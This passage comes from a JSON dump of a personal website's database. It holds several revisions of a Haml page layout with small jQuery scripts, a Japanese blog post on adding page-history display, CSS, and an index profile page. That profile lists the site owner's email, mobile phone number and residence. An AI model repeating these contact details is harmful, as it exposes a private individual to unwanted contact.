= $(code.parent());\r\n var lang = code.attr('class');\r\n code.remove();\r\n pre.text(text);\r\n if(lang != undefined){\r\n pre.addClass(\"sh_\"+lang);\r\n }\r\n })\r\n sh_highlightDocument();\r\n \r\n if($(\"#created_at\").length == 1){\r\n $.getJSON(\"http://ssig33.com/api.ssig33.com/timestamp?name=\"+encodeURI('#{@page.name}') , function(data){\r\n var date\r\n date = new Date(Date.parse(data[\"created_at\"]))\r\n var created_at = date.toGMTString()\r\n date = new Date(Date.parse(data[\"updated_at\"]))\r\n var updated_at = date.toGMTString()\r\n if(created_at == updated_at){\r\n $(\"#created_at\").html(\"created at: \"+created_at)\r\n }else{\r\n $(\"#created_at\").html(\"created at: \"+created_at+\" updated at: \"+updated_at)\r\n }\r\n\r\n })\r\n }\r\n\u003c!-- layout from Database --\u003e\r\n","created_at":"2013-02-24T03:42:53.000Z","updated_at":"2013-02-24T03:42:53.000Z"},{"id":2289,"name":"layout","body":"layout レイアウト\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title=h title\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/metro.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"http://ssig33.com/sh_main.min.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/sh_ext.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/jquery.js\"}\r\n%div#all\r\n ~@page.html(request)\r\n %div\r\n %ul\r\n %li \r\n %b Updated histories of this content\r\n -Page.where(name: @page.name).order('id desc').each_with_index do |p,i|\r\n - if i == 0\r\n %li\r\n %a{href: \"/#{CGI.escape(@page.name)}\"} Latest: #{p.created_at.gmtime}\r\n - else\r\n %li\r\n %a{href: \"/#{CGI.escape(@page.name)}?history_id=#{p.id}\"}=p.created_at.gmtime\r\n \r\n:javascript\r\n $.each($(\"pre code\"), function(){\r\n var code = $(this);\r\n var text = code.text();\r\n var pre = $(code.parent());\r\n var lang = code.attr('class');\r\n code.remove();\r\n pre.text(text);\r\n if(lang != undefined){\r\n pre.addClass(\"sh_\"+lang);\r\n }\r\n })\r\n sh_highlightDocument();\r\n \r\n if($(\"#created_at\").length == 1){\r\n $.getJSON(\"http://ssig33.com/api.ssig33.com/timestamp?name=\"+encodeURI('#{@page.name}') , function(data){\r\n var date\r\n date = new Date(Date.parse(data[\"created_at\"]))\r\n var created_at = date.toGMTString()\r\n date = new Date(Date.parse(data[\"updated_at\"]))\r\n var updated_at = date.toGMTString()\r\n if(created_at == updated_at){\r\n $(\"#created_at\").html(\"created at: \"+created_at)\r\n }else{\r\n $(\"#created_at\").html(\"created at: \"+created_at+\" updated at: \"+updated_at)\r\n }\r\n\r\n })\r\n }\r\n\u003c!-- layout from Database --\u003e\r\n","created_at":"2013-02-24T03:43:31.000Z","updated_at":"2013-02-24T03:43:31.000Z"},{"id":2290,"name":"layout","body":"layout layout\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title=h title\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/metro.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"http://ssig33.com/sh_main.min.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/sh_ext.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/jquery.js\"}\r\n%div#all\r\n ~@page.html(request)\r\n %div\r\n %ul\r\n %li \r\n %b Updated histories of this content\r\n -Page.where(name: @page.name).order('id desc').each_with_index do |p,i|\r\n - if i == 0\r\n %li\r\n %a{href: \"/#{CGI.escape(@page.name)}\"} #{p.created_at.gmtime} (Latest)\r\n - else\r\n %li\r\n %a{href: \"/#{CGI.escape(@page.name)}?history_id=#{p.id}\"}=p.created_at.gmtime\r\n \r\n:javascript\r\n $.each($(\"pre code\"), function(){\r\n var code = $(this);\r\n var text = code.text();\r\n var pre = $(code.parent());\r\n var lang = code.attr('class');\r\n code.remove();\r\n pre.text(text);\r\n if(lang != undefined){\r\n pre.addClass(\"sh_\"+lang);\r\n }\r\n })\r\n sh_highlightDocument();\r\n \r\n if($(\"#created_at\").length == 1){\r\n $.getJSON(\"http://ssig33.com/api.ssig33.com/timestamp?name=\"+encodeURI('#{@page.name}') , function(data){\r\n var date\r\n date = new Date(Date.parse(data[\"created_at\"]))\r\n var created_at = date.toGMTString()\r\n date = new Date(Date.parse(data[\"updated_at\"]))\r\n var updated_at = date.toGMTString()\r\n if(created_at == updated_at){\r\n $(\"#created_at\").html(\"created at: \"+created_at)\r\n }else{\r\n $(\"#created_at\").html(\"created at: \"+created_at+\" updated at: \"+updated_at)\r\n }\r\n\r\n })\r\n }\r\n\u003c!-- layout from Database --\u003e\r\n","created_at":"2013-02-24T03:44:03.000Z","updated_at":"2013-02-24T03:44:03.000Z"},{"id":2291,"name":"layout","body":"\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title=h title\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/metro.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"http://ssig33.com/sh_main.min.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/sh_ext.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/jquery.js\"}\r\n%div#all\r\n ~@page.html(request)\r\n %div\r\n %ul\r\n %li \r\n %b Updated histories of this content\r\n -Page.where(name: @page.name).order('id desc').each_with_index do |p,i|\r\n - if i == 0\r\n %li\r\n %a{href: \"/#{URI.encode(@page.name)}\"} #{p.created_at.gmtime} (Latest)\r\n - else\r\n %li\r\n %a{href: \"/#{URI.encode(@page.name)}?history_id=#{p.id}\"}=p.created_at.gmtime\r\n \r\n:javascript\r\n $.each($(\"pre code\"), function(){\r\n var code = $(this);\r\n var text = code.text();\r\n var pre = $(code.parent());\r\n var lang = code.attr('class');\r\n code.remove();\r\n pre.text(text);\r\n if(lang != undefined){\r\n pre.addClass(\"sh_\"+lang);\r\n }\r\n })\r\n sh_highlightDocument();\r\n \r\n if($(\"#created_at\").length == 1){\r\n $.getJSON(\"http://ssig33.com/api.ssig33.com/timestamp?name=\"+encodeURI('#{@page.name}') , function(data){\r\n var date\r\n date = new Date(Date.parse(data[\"created_at\"]))\r\n var created_at = date.toGMTString()\r\n date = new Date(Date.parse(data[\"updated_at\"]))\r\n var updated_at = date.toGMTString()\r\n if(created_at == updated_at){\r\n $(\"#created_at\").html(\"created at: \"+created_at)\r\n }else{\r\n $(\"#created_at\").html(\"created at: \"+created_at+\" updated at: \"+updated_at)\r\n }\r\n\r\n })\r\n }\r\n\u003c!-- layout from Database --\u003e\r\n","created_at":"2013-02-24T03:44:38.000Z","updated_at":"2013-02-24T03:44:38.000Z"},{"id":2292,"name":"layout","body":"layout layout\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title=h title\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/metro.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"http://ssig33.com/sh_main.min.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/sh_ext.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/jquery.js\"}\r\n%div#all\r\n ~@page.html(request)\r\n %div\r\n %ul\r\n %li \r\n %b Updated histories of this content\r\n -Page.where(name: @page.name).order('id desc').each_with_index do |p,i|\r\n - if i == 0\r\n %li\r\n %a{href: \"/#{URI.encode(@page.name)}\"} #{p.created_at.gmtime} (Latest)\r\n - else\r\n %li\r\n %a{href: \"/#{URI.encode(@page.name)}?history_id=#{p.id}\"}=p.created_at.gmtime\r\n \r\n:javascript\r\n $.each($(\"pre code\"), function(){\r\n var code = $(this);\r\n var text = code.text();\r\n var pre = $(code.parent());\r\n var lang = code.attr('class');\r\n code.remove();\r\n pre.text(text);\r\n if(lang != undefined){\r\n pre.addClass(\"sh_\"+lang);\r\n }\r\n })\r\n sh_highlightDocument();\r\n \r\n if($(\"#created_at\").length == 1){\r\n $.getJSON(\"http://ssig33.com/api.ssig33.com/timestamp?name=\"+encodeURI('#{@page.name}') , function(data){\r\n var date\r\n date = new Date(Date.parse(data[\"created_at\"]))\r\n var created_at = date.toGMTString()\r\n date = new Date(Date.parse(data[\"updated_at\"]))\r\n var updated_at = date.toGMTString()\r\n if(created_at == updated_at){\r\n $(\"#created_at\").html(\"created at: \"+created_at)\r\n }else{\r\n $(\"#created_at\").html(\"created at: \"+created_at+\" updated at: \"+updated_at)\r\n }\r\n\r\n })\r\n }\r\n\u003c!-- layout from Database --\u003e\r\n","created_at":"2013-02-24T03:44:49.000Z","updated_at":"2013-02-24T03:44:49.000Z"},{"id":2293,"name":"layout","body":"layout layout\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title=h title\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/metro.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"http://ssig33.com/sh_main.min.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/sh_ext.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/jquery.js\"}\r\n%div#all\r\n ~@page.html(request)\r\n %div\r\n %ul\r\n %li \r\n %b Updated histories of this content\r\n -Page.where(name: @page.name).order('id desc').each_with_index do |p,i|\r\n - if i == 0\r\n %li\r\n -if @page.id == p.id\r\n %a{href: \"/#{URI.encode(@page.name)}\"} \r\n %b #{p.created_at.gmtime} (Latest)\r\n -else\r\n %a{href: \"/#{URI.encode(@page.name)}\"} #{p.created_at.gmtime} (Latest)\r\n - else\r\n %li\r\n -if @page.id == p.id\r\n %a{href: \"/#{URI.encode(@page.name)}?history_id=#{p.id}\"}\r\n %b=p.created_at.gmtime\r\n -else\r\n %a{href: \"/#{URI.encode(@page.name)}?history_id=#{p.id}\"}=p.created_at.gmtime\r\n \r\n:javascript\r\n $.each($(\"pre code\"), function(){\r\n var code = $(this);\r\n var text = code.text();\r\n var pre = $(code.parent());\r\n var lang = code.attr('class');\r\n code.remove();\r\n pre.text(text);\r\n if(lang != undefined){\r\n pre.addClass(\"sh_\"+lang);\r\n }\r\n })\r\n sh_highlightDocument();\r\n \r\n if($(\"#created_at\").length == 1){\r\n $.getJSON(\"http://ssig33.com/api.ssig33.com/timestamp?name=\"+encodeURI('#{@page.name}') , function(data){\r\n var date\r\n date = new Date(Date.parse(data[\"created_at\"]))\r\n var created_at = date.toGMTString()\r\n date = new Date(Date.parse(data[\"updated_at\"]))\r\n var updated_at = date.toGMTString()\r\n if(created_at == updated_at){\r\n $(\"#created_at\").html(\"created at: \"+created_at)\r\n }else{\r\n $(\"#created_at\").html(\"created at: \"+created_at+\" updated at: \"+updated_at)\r\n }\r\n\r\n })\r\n }\r\n\u003c!-- layout from Database --\u003e\r\n","created_at":"2013-02-24T03:49:31.000Z","updated_at":"2013-02-24T03:49:31.000Z"},{"id":2294,"name":"text/コンテンツに履歴表示する作った","body":"%blog%\r\n\r\nこのサイトのデータ、以下のような持ち方をしている。\r\n\r\nカラム名 | 型 | 中身\r\n---- | ----\r\nname | string |ページの名前(URL に表示してるやつ)\r\ntext | text | 本文\r\ncreated_at | datetime | 作成日時\r\n\r\nで、ページは更新される毎に UPDATE かけるのではなく、 INSERT していて、ページを表示する時は、その name を持つページのうち一番新しいものを表示するとかしてる。\r\n\r\nもともと更新履歴表示したくてこういうデータの持ち方してたんだけど、めんどくさくて履歴表示する部分は作ってなかった。それを今作った。\r\n\r\nこのサイトのソースは[これ](/source)と[これ](/layout)を見ると分かるようになってます。","created_at":"2013-02-24T03:55:20.000Z","updated_at":"2013-02-24T03:55:20.000Z"},{"id":2295,"name":"text/コンテンツに履歴表示する作った","body":"%blog%\r\n\r\nこのサイトのデータ、以下のような持ち方をしている。\r\n\r\nカラム名 | 型 | 中身\r\n---- | ---- | ----\r\nname | string |ページの名前(URL に表示してるやつ)\r\ntext | text | 本文\r\ncreated_at | datetime | 作成日時\r\n\r\nで、ページは更新される毎に UPDATE かけるのではなく、 INSERT していて、ページを表示する時は、その name を持つページのうち一番新しいものを表示するとかしてる。\r\n\r\nもともと更新履歴表示したくてこういうデータの持ち方してたんだけど、めんどくさくて履歴表示する部分は作ってなかった。それを今作った。\r\n\r\nこのサイトのソースは[これ](/source)と[これ](/layout)を見ると分かるようになってます。\r\n\r\nそんなわけでこのページは一回編集ミスしたりとかしてるので履歴が早速下にでてます。","created_at":"2013-02-24T03:55:53.000Z","updated_at":"2013-02-24T03:55:53.000Z"},{"id":2296,"name":"text/コンテンツに履歴表示する作った","body":"%blog% コンテンツに履歴表示するもの作った\r\n\r\nこのサイトのデータ、以下のような持ち方をしている。\r\n\r\nカラム名 | 型 | 中身\r\n---- | ---- | ----\r\nname | string |ページの名前(URL に表示してるやつ)\r\ntext | text | 本文\r\ncreated_at | datetime | 作成日時\r\n\r\nで、ページは更新される毎に UPDATE かけるのではなく、 INSERT していて、ページを表示する時は、その name を持つページのうち一番新しいものを表示するとかしてる。\r\n\r\nもともと更新履歴表示したくてこういうデータの持ち方してたんだけど、めんどくさくて履歴表示する部分は作ってなかった。それを今作った。\r\n\r\nこのサイトのソースは[これ](/source)と[これ](/layout)を見ると分かるようになってます。\r\n\r\nそんなわけでこのページは一回編集ミスしたりとかしてるので履歴が早速下にでてます。","created_at":"2013-02-24T04:00:26.000Z","updated_at":"2013-02-24T04:00:26.000Z"},{"id":2297,"name":"layout","body":"layout layout\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title=h title\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/metro.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"http://ssig33.com/sh_main.min.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/sh_ext.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/jquery.js\"}\r\n%div#all\r\n ~@page.html(request)\r\n %div\r\n %ul\r\n %li \r\n %b Update histories of this content\r\n -Page.where(name: @page.name).order('id desc').each_with_index do |p,i|\r\n - if i == 0\r\n %li\r\n -if @page.id == p.id\r\n %a{href: \"/#{URI.encode(@page.name)}\"} \r\n %b #{p.created_at.gmtime} (Latest)\r\n -else\r\n %a{href: \"/#{URI.encode(@page.name)}\"} #{p.created_at.gmtime} (Latest)\r\n - else\r\n %li\r\n -if @page.id == p.id\r\n %a{href: \"/#{URI.encode(@page.name)}?history_id=#{p.id}\"}\r\n %b=p.created_at.gmtime\r\n -else\r\n %a{href: \"/#{URI.encode(@page.name)}?history_id=#{p.id}\"}=p.created_at.gmtime\r\n \r\n:javascript\r\n $.each($(\"pre code\"), function(){\r\n var code = $(this);\r\n var text = code.text();\r\n var pre = $(code.parent());\r\n var lang = code.attr('class');\r\n code.remove();\r\n pre.text(text);\r\n if(lang != undefined){\r\n pre.addClass(\"sh_\"+lang);\r\n }\r\n })\r\n sh_highlightDocument();\r\n \r\n if($(\"#created_at\").length == 1){\r\n $.getJSON(\"http://ssig33.com/api.ssig33.com/timestamp?name=\"+encodeURI('#{@page.name}') , function(data){\r\n var date\r\n date = new Date(Date.parse(data[\"created_at\"]))\r\n var created_at = date.toGMTString()\r\n date = new Date(Date.parse(data[\"updated_at\"]))\r\n var updated_at = date.toGMTString()\r\n if(created_at == updated_at){\r\n $(\"#created_at\").html(\"created at: \"+created_at)\r\n }else{\r\n $(\"#created_at\").html(\"created at: \"+created_at+\" updated at: \"+updated_at)\r\n }\r\n\r\n })\r\n }\r\n\u003c!-- layout from Database --\u003e","created_at":"2013-02-24T10:48:23.000Z","updated_at":"2013-02-24T10:48:23.000Z"},{"id":2298,"name":"layout","body":"layout layout\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title=h title\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/metro.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"http://ssig33.com/sh_main.min.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/sh_ext.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/jquery.js\"}\r\n%div#all\r\n ~@page.html(request)\r\n %div\r\n %ul\r\n %li \r\n %b Update history of this content\r\n -Page.where(name: @page.name).order('id desc').each_with_index do |p,i|\r\n - if i == 0\r\n %li\r\n -if @page.id == p.id\r\n %a{href: \"/#{URI.encode(@page.name)}\"} \r\n %b #{p.created_at.gmtime} (Latest)\r\n -else\r\n %a{href: \"/#{URI.encode(@page.name)}\"} #{p.created_at.gmtime} (Latest)\r\n - else\r\n %li\r\n -if @page.id == p.id\r\n %a{href: \"/#{URI.encode(@page.name)}?history_id=#{p.id}\"}\r\n %b=p.created_at.gmtime\r\n -else\r\n %a{href: \"/#{URI.encode(@page.name)}?history_id=#{p.id}\"}=p.created_at.gmtime\r\n \r\n:javascript\r\n $.each($(\"pre code\"), function(){\r\n var code = $(this);\r\n var text = code.text();\r\n var pre = $(code.parent());\r\n var lang = code.attr('class');\r\n code.remove();\r\n pre.text(text);\r\n if(lang != undefined){\r\n pre.addClass(\"sh_\"+lang);\r\n }\r\n })\r\n sh_highlightDocument();\r\n \r\n if($(\"#created_at\").length == 1){\r\n $.getJSON(\"http://ssig33.com/api.ssig33.com/timestamp?name=\"+encodeURI('#{@page.name}') , function(data){\r\n var date\r\n date = new Date(Date.parse(data[\"created_at\"]))\r\n var created_at = date.toGMTString()\r\n date = new Date(Date.parse(data[\"updated_at\"]))\r\n var updated_at = date.toGMTString()\r\n if(created_at == updated_at){\r\n $(\"#created_at\").html(\"created at: \"+created_at)\r\n }else{\r\n $(\"#created_at\").html(\"created at: \"+created_at+\" updated at: \"+updated_at)\r\n }\r\n\r\n })\r\n }\r\n\u003c!-- layout from Database --\u003e","created_at":"2013-02-25T02:19:46.000Z","updated_at":"2013-02-25T02:19:46.000Z"},{"id":2299,"name":"index","body":"\u003ch1\u003essig33.com\u003c/h1\u003e\r\n\r\n\u003ch2\u003e Contents \u0026 Service\u003ch2\u003e\r\n\r\n[Texts](http://ssig33.com/text) \r\n\r\n[Rolling Icon](http://icon.ssig33.com) *Twitter Icon Manager that's very cool.*\r\n\r\n[Money Please](http://kanekure.ssig33.com) *KANEKURE Platform*\r\n\r\n[Tumblelog](http://tumblelog.ssig33.com) *powered by Tumblr*\r\n\r\n[Contact Infomation](/連絡先) (for Japanese)\r\n\r\n[Recent Update of This Site](/recent)\r\n\r\n[Old Texts](http://text.ssig33.com) \r\n\r\n[others](/others)\r\n\r\n# Profile\r\n**Name :** Rick Koike (ssig33) \r\n**Mail :** mail@ssig33.com \r\n**Phone :** +81 90 1450 2501 \r\n**Living at:** [Geekhouse Shinjuku-WEST](http://twitter.com/#!/ssig33/status/24135533680664576) \r\n**Twitter :** [ssig33](http://twitter.com/ssig33) \r\n**Facebook :** [ssig33](http://facebook.com/ssig33) \r\n**Skype :** ssig33 \r\n**Job :** Scinario Writer, Software Engineer, Game Planner \r\n**Face :** \r\n![img](http://ssig33.com/data/6cd997decc7a4113e451529c7662137b.png)\r\n\r\n# Skill\r\n- Ruby\r\n- Ruby on Rails\r\n- Sinatra\r\n- MySQL\r\n- MongoDB\r\n- RSpec\r\n- Cucumber\r\n- Behavior Driven Development\r\n- JavaScript \u0026 Ajax \u0026 HTML5\r\n- HTML \u0026 CSS\r\n- Japanese\r\n- English(a bit)\r\n- Know much about History of Nanbokucho(JPN), Muromachi(JPN), and Sanguozhi(CN) \r\n\r\n\u003cdiv id=\"created_at\"\u003e\u003c/div\u003e","created_at":"2013-02-25T11:23:50.000Z","updated_at":"2013-02-25T11:23:50.000Z"},{"id":2300,"name":"index","body":"# ssig33.com\r\n\r\n## Contents \u0026 Service\r\n\r\n[Texts](http://ssig33.com/text) \r\n\r\n[Rolling Icon](http://icon.ssig33.com) *Twitter Icon Manager that's very cool.*\r\n\r\n[Money Please](http://kanekure.ssig33.com) *KANEKURE Platform*\r\n\r\n[Tumblelog](http://tumblelog.ssig33.com) *powered by Tumblr*\r\n\r\n[Contact Infomation](/連絡先) (for Japanese)\r\n\r\n[Recent Update of This Site](/recent)\r\n\r\n[Old Texts](http://text.ssig33.com) \r\n\r\n[others](/others)\r\n\r\n# Profile\r\n**Name :** Rick Koike (ssig33) \r\n**Mail :** mail@ssig33.com \r\n**Phone :** +81 90 1450 2501 \r\n**Living at:** [Geekhouse Shinjuku-WEST](http://twitter.com/#!/ssig33/status/24135533680664576) \r\n**Twitter :** [ssig33](http://twitter.com/ssig33) \r\n**Facebook :** [ssig33](http://facebook.com/ssig33) \r\n**Skype :** ssig33 \r\n**Job :** Scinario Writer, Software Engineer, Game Planner \r\n**Face :** \r\n![img](http://ssig33.com/data/6cd997decc7a4113e451529c7662137b.png)\r\n\r\n# Skill\r\n- Ruby\r\n- Ruby on Rails\r\n- Sinatra\r\n- MySQL\r\n- MongoDB\r\n- RSpec\r\n- Cucumber\r\n- Behavior Driven Development\r\n- JavaScript \u0026 Ajax \u0026 HTML5\r\n- HTML \u0026 CSS\r\n- Japanese\r\n- English(a bit)\r\n- Know much about History of Nanbokucho(JPN), Muromachi(JPN), and Sanguozhi(CN) \r\n\r\n\u003cdiv id=\"created_at\"\u003e\u003c/div\u003e","created_at":"2013-02-25T11:24:07.000Z","updated_at":"2013-02-25T11:24:07.000Z"},{"id":2301,"name":"common.css","body":"raw\r\nmime css\r\n@-ms-viewport{ width: device-width; }\r\n\r\n@media screen and (max-width: 720px) {@-ms-viewport { width: 320px !important; }}\r\n@media screen and (max-width: 480px) {@-ms-viewport { width: 320px !important; }}\r\n\r\nbody{\r\n text-align:center;\r\n }\r\n#all, .all{\r\n max-width:860px;\r\n margin-left:auto;\r\n margin-right:auto;\r\n text-align:left;\r\n}\r\n\r\nh1, h2, h3, h4{font-family:serif;}\r\n\r\n#notice{ color:green; }\r\n#error{ color:red; }\r\n.small{ font-size:small;}\r\n\r\nimg, video{ max-width:100%; }\r\n\r\n.lightgray{color:lightgray}\r\n\r\n.none{display:none}\r\na{color:blue}\r\n.h0{font-size:9em}\r\n.h1{font-size:7em}\r\n.h2{font-size:3em}\r\n.right{float:right}\r\n.left{float:left}\r\n.clear{clear:both}\r\nnick{color:lightpink}\r\n.mine{color:yellow}\r\n.x-small{font-size:x-small}\r\nspan.link{font-size:x-large}","created_at":"2013-02-25T11:25:39.000Z","updated_at":"2013-02-25T11:25:39.000Z"},{"id":2302,"name":"layout","body":"layout layout\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title=h title\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/metro.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"http://ssig33.com/sh_main.min.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/sh_ext.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/jquery.js\"}\r\n%div#all\r\n ~@page.html(request)\r\n %div\r\n %ul\r\n %li \r\n %b Update history of this content\r\n -Page.where(name: @page.name).order('id desc').each_with_index do |p,i|\r\n %li.history\r\n - if i == 0\r\n -if @page.id == p.id\r\n %a{href: \"/#{URI.encode(@page.name)}\"} \r\n %b #{p.created_at.gmtime} (Latest)\r\n -else\r\n %a{href: \"/#{URI.encode(@page.name)}\"} #{p.created_at.gmtime} (Latest)\r\n - else\r\n -if @page.id == p.id\r\n %a{href: \"/#{URI.encode(@page.name)}?history_id=#{p.id}\"}\r\n %b=p.created_at.gmtime\r\n -else\r\n %a{href: \"/#{URI.encode(@page.name)}?history_id=#{p.id}\"}=p.created_at.gmtime\r\n \r\n:javascript\r\n $.each($(\"pre code\"), function(){\r\n var code = $(this);\r\n var text = code.text();\r\n var pre = $(code.parent());\r\n var lang = code.attr('class');\r\n code.remove();\r\n pre.text(text);\r\n if(lang != undefined){\r\n pre.addClass(\"sh_\"+lang);\r\n }\r\n })\r\n sh_highlightDocument();\r\n \r\n if($(\"#created_at\").length == 1){\r\n $.getJSON(\"http://ssig33.com/api.ssig33.com/timestamp?name=\"+encodeURI('#{@page.name}') , function(data){\r\n var date\r\n date = new Date(Date.parse(data[\"created_at\"]))\r\n var created_at = date.toGMTString()\r\n date = new Date(Date.parse(data[\"updated_at\"]))\r\n var updated_at = date.toGMTString()\r\n if(created_at == updated_at){\r\n $(\"#created_at\").html(\"created at: \"+created_at)\r\n }else{\r\n $(\"#created_at\").html(\"created at: \"+created_at+\" updated at: \"+updated_at)\r\n }\r\n\r\n })\r\n }\r\n\u003c!-- layout from Database --\u003e","created_at":"2013-02-25T11:26:40.000Z","updated_at":"2013-02-25T11:26:40.000Z"},{"id":2303,"name":"layout","body":"layout layout\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e 